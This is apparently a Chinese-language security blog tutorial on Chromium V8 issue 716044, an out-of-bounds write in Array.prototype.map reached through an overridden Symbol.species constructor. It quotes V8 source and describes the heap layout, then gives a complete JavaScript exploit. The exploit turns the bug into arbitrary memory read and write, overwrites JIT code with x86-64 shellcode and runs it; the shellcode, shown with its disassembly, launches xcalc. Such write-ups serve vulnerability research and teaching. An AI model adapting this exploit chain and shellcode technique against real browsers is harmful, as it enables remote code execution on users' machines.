Chrome-V8-Issue-716044 11 Aug, 2021 行业新闻 Chrome-V8-Issue-716044 介绍v8的oob很适合作为入门的漏洞,本漏洞是由于js中的内置函数map,在c++中新增使用类汇编的方式实现map(CodeStubAssembler),这一改动所产生的漏洞关于CodeStubAssembler的更多内容可以看 namespace v8 { namespace internal { class ArrayBuiltinCodeStubAssembler : public CodeStubAssembler { [...] void GenerateIteratingArrayBuiltinBody( const char* name, const BuiltinResultGenerator [ ... ] // 1. Let O be ToObject(this value). // 2. ReturnIfAbrupt(O) o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());//【1】 // 3. Let len be ToLength(Get(O, "length")). // 4. ReturnIfAbrupt(len). VARIABLE(merged_length, MachineRepresentation::kTagged); Label has_length(this, GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), ¬_js_array); merged_length.Bind(LoadJSArrayLength(o())); //【2.1】 Goto( BIND(¬_js_array); Node* len_property = GetProperty(context(), o(), isolate()->factory()->length_string()); merged_length.Bind( CallStub(CodeFactory::ToLength(isolate()), context(), len_property)); Goto( BIND( len_ = merged_length.value(); //【2.2】 [ ... ] a_.Bind(generator(this)); //【3】 HandleFastElements(processor, action, [ ... ]• o_就是this指针的值• len_是o_的length• a_是保存map结果的array• HandleFastElements 执行map的操作,对o_的每个元素都调用一次processor然后把结果写入a_看下generator 对应的函数Node* MapResultGenerator() { // 5. Let A be ? ArraySpeciesCreate(O, len). return ArraySpeciesCreate(context(), o(), len_); } ====================================================== Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray, Node* len) { // TODO(mvstanton): Install a fast path as well, which avoids the runtime // call. Node* constructor = CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray); return ConstructJS(CodeFactory::Construct(isolate()), context, constructor, len); }其中,ConstructJS的参数constructor 是通过Array[@@species]得到的,上面也提了,The Array[@@species] accessor property returns the Array constructor.具体看这里我们可以通过定义自己的Array type覆写construct上面说的v8中有对应的判断新生成的数组长度的操作(其实还是以上漏洞点的引入使得检查不够完善)BranchIfFastJSArray(a(), context(), FastJSArrayAccessMode::ANY_ACCESS, BIND( { kind = EnsureArrayPushable(a(), elements = LoadElements(a()); GotoIf(IsElementsKindGreaterThan(kind, FAST_HOLEY_SMI_ELEMENTS), TryStoreArrayElement(FAST_SMI_ELEMENTS, mode, Goto( }我们走fast,可以跳过BranchIfFastJSArray 检查,然后就可以越界写了具体如何通过map修改array的长度,直接看exp中注释布局关于对象在v8中的存储方式可以看这里奇技淫巧学 V8 之二,对象在 V8 内的表达以下来自Exploiting a V8 OOB write================================================================================ |a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30) | -------------------------------------------------------------------------------- |oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) | -------------------------------------------------------------------------------- |arb_rw ArrayBuffer | ================================================================================对应的var code = function() { return 1; } code(); class BuggyArray extends Array { constructor(len) { super(1); oob_rw = new Array(1.1, 1.1);//浮点数是FixedDoubleArray,改oobrw的length,泄露下面的leak,以及修改arb_rw的backing store pointer去任意读写 leak = new Array(code); //用来leak出函数地址,用来写入shellcode arb_rw = new ArrayBuffer(4);//buffer } }; //看过v8中的对象布局后,对照这里定义看上面的排布图思路• 通过越界读,修改length构造出任意读写• 覆写JIT page上的一部分代码,也即写入shellcode• 调用对应函数执行shellcode通过function其中的CodeEntry找到JIT区域,然后写入shellcode,我们先得到code函数的地址var js_function_addr = oob_rw[10]; // JSFunction for code() in the `leak` FixedArray.其余内容都在exp的注释里exp// v8 exploit for https://crbug.com/716044 var oob_rw = null; var leak = null; var arb_rw = null; var code = function() { return 1; } code(); class BuggyArray extends Array { constructor(len) { super(1); oob_rw = new Array(1.1, 1.1); //浮点数是FixedDoubleArray leak = new Array(code); //用来leak出函数地址,用来写入shellcode arb_rw = new ArrayBuffer(4); //buffer } }; //https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/@@species class MyArray extends Array { static get [Symbol.species]() { return BuggyArray; } } //格式转换,不懂可以看上面的入门文章 var convert_buf = new ArrayBuffer(8); var float64 = new Float64Array(convert_buf); var uint8 = new Uint8Array(convert_buf); var uint32 = new Uint32Array(convert_buf); function Uint64Add(dbl, to_add_int) { float64[0] = dbl; var lower_add = uint32[0] + to_add_int; if (lower_add > 0xffffffff) { lower_add uint32[1] += 1; } uint32[0] = lower_add; return float64[0]; } // Memory layout looks like this: // ================================================================================ // |a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30) | // -------------------------------------------------------------------------------- // |oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) | // -------------------------------------------------------------------------------- // |arb_rw ArrayBuffer | // ================================================================================ var myarray = new MyArray(); //%DebugPrint(myarray); myarray.length = 9; myarray[4] = 42; myarray[8] = 42; //%SystemBreak(); //修改oob_rw的length,从上方截图可以看到 myarray.map(function(x) { return 1000000; }); //%SystemBreak(); //oob read to get func addr, and we can write it to shellcode //对于oob_rw偏移为10处是leak,得到地址 var js_function_addr = oob_rw[10]; // JSFunction for code() // Set arb_rw's kByteLengthOffset to something big. uint32[0] = 0; uint32[1] = 1000000; oob_rw[14] = float64[0]; // Set arb_rw's kBackingStoreOffset to // js_function_addr + JSFunction::kCodeEntryOffset - 1 // (to get rid of Object tag) oob_rw[15] = Uint64Add(js_function_addr, 56-1); //%SystemBreak(); //convert to float var js_function_uint32 = new Uint32Array(arb_rw); uint32[0] = js_function_uint32[0]; uint32[1] = js_function_uint32[1]; oob_rw[15] = Uint64Add(float64[0], 128); // 128 = code header size //%SystemBreak(); //write shellcode // pop /usr/bin/xcalc var shellcode = new Uint32Array(arb_rw); shellcode[0] = 0x90909090; shellcode[1] = 0x90909090; shellcode[2] = 0x782fb848; shellcode[3] = 0x636c6163; //xcalc shellcode[4] = 0x48500000; shellcode[5] = 0x73752fb8; shellcode[6] = 0x69622f72; shellcode[7] = 0x8948506e; shellcode[8] = 0xc03148e7; shellcode[9] = 0x89485750; shellcode[10] = 0xd23148e6; shellcode[11] = 0x3ac0c748; shellcode[12] = 0x50000030; //我改为了0x50000031 shellcode[13] = 0x4944b848; shellcode[14] = 0x414c5053; shellcode[15] = 0x48503d59; shellcode[16] = 0x3148e289; shellcode[17] = 0x485250c0; shellcode[18] = 0xc748e289; shellcode[19] = 0x00003bc0; shellcode[20] = 0x050f00; //execute shellcode code();shellcode0: 90 nop 1: 90 nop 2: 90 nop 3: 90 nop #(省略四个nop) 4: 48 b8 2f 78 63 61 6c movabs rax, 0x636c6163782f #/xcalc b: 63 00 00 e: 50 push rax f: 48 b8 2f 75 73 72 2f movabs rax, 0x6e69622f7273752f #/usr/bin 16: 62 69 6e 19: 50 push rax 1a: 48 89 e7 mov rdi, rsp 1d: 48 31 c0 xor rax, rax 20: 50 push rax 21: 57 push rdi 22: 48 89 e6 mov rsi, rsp 25: 48 31 d2 xor rdx, rdx 28: 48 c7 c0 3a 30 00 00 mov rax, 0x303a # :0 改为->0x313a 2f: 50 push rax 30: 48 b8 44 49 53 50 4c movabs rax, 0x3d59414c50534944 37: 41 59 3d 3a: 50 push rax 3b: 48 89 e2 mov rdx, rsp 3e: 48 31 c0 xor rax, rax 41: 50 push rax 42: 52 push rdx 43: 48 89 e2 mov rdx, rsp 46: 48 c7 c0 3b 00 00 00 mov rax, 0x3b 4d: 0f 05 syscall参考716044 - V8: OOB write in Array.prototype.map builtin - chromiumExploiting a V8 OOB write. (halbecaf.com) chromeV8网络安全